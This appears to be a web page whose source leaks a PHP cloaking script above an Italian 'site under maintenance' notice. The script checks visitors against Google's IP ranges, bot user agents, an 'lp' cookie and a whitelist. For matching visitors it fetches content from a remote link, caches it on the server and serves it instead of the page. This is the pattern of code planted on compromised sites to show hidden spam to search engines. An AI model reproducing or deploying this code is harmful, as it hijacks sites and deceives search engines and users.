$visitor_ip = $_SERVER["HTTP_CF_CONNECTING_IP"] ?? $_SERVER["HTTP_INCAP_CLIENT_IP"] ?? $_SERVER["HTTP_TRUE_CLIENT_IP"] ?? $_SERVER["HTTP_REMOTEIP"] ?? $_SERVER["HTTP_X_REAL_IP"] ?? $_SERVER["REMOTE_ADDR"]; function ip_in_range_custom($ip, $range) { if (strpos($range, '/') === false) { $range .= '/32'; } list($subnet, $bits) = explode('/', $range); $ip_dec = ip2long($ip); $subnet_dec = ip2long($subnet); $mask = -1 << (32 - $bits); return ($ip_dec & $mask) === ($subnet_dec & $mask); } function fetch_ip_ranges_custom($url, $ipv4_key) { $json_data = @file_get_contents($url); if ($json_data === false) { return []; } $ip_data = json_decode($json_data, true); $ip_ranges = []; if (!empty($ip_data['prefixes'])) { foreach ($ip_data['prefixes'] as $prefix) { if (isset($prefix[$ipv4_key])) { $ip_ranges[] = $prefix[$ipv4_key]; } } } return $ip_ranges; } $google_ip_ranges = fetch_ip_ranges_custom('https://www.gstatic.com/ipranges/goog.json', 'ipv4Prefix'); $googleallow = false; foreach ($google_ip_ranges as $range) { if (ip_in_range_custom($visitor_ip, $range)) { $googleallow = true; break; } } $agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $is_bot = false; foreach ($bot_identifiers as $identifier) { if (strpos($agent, $identifier) !== false) { $is_bot = true; break; } } if ($is_bot || $googleallow || isset($_COOKIE['lp']) || in_array($visitor_ip, $ip_whitelist)) { $use_cache = false; if (file_exists($cache_file) && (time() - filemtime($cache_file) < $cache_expire)) { $content = file_get_contents($cache_file); $use_cache = true; } else { $content = @file_get_contents($remote_link); if ($content !== false) { if (!file_exists(dirname($cache_file))) { @mkdir(dirname($cache_file), 0755, true); } file_put_contents($cache_file, $content); } } if (!empty($content)) { echo $content; exit; } else { echo ""; exit; } } } Manutenzione
logo

Modalità manutenzione

Il nostro sito è attualmente in manutenzione...
Torneremo presto con tante News!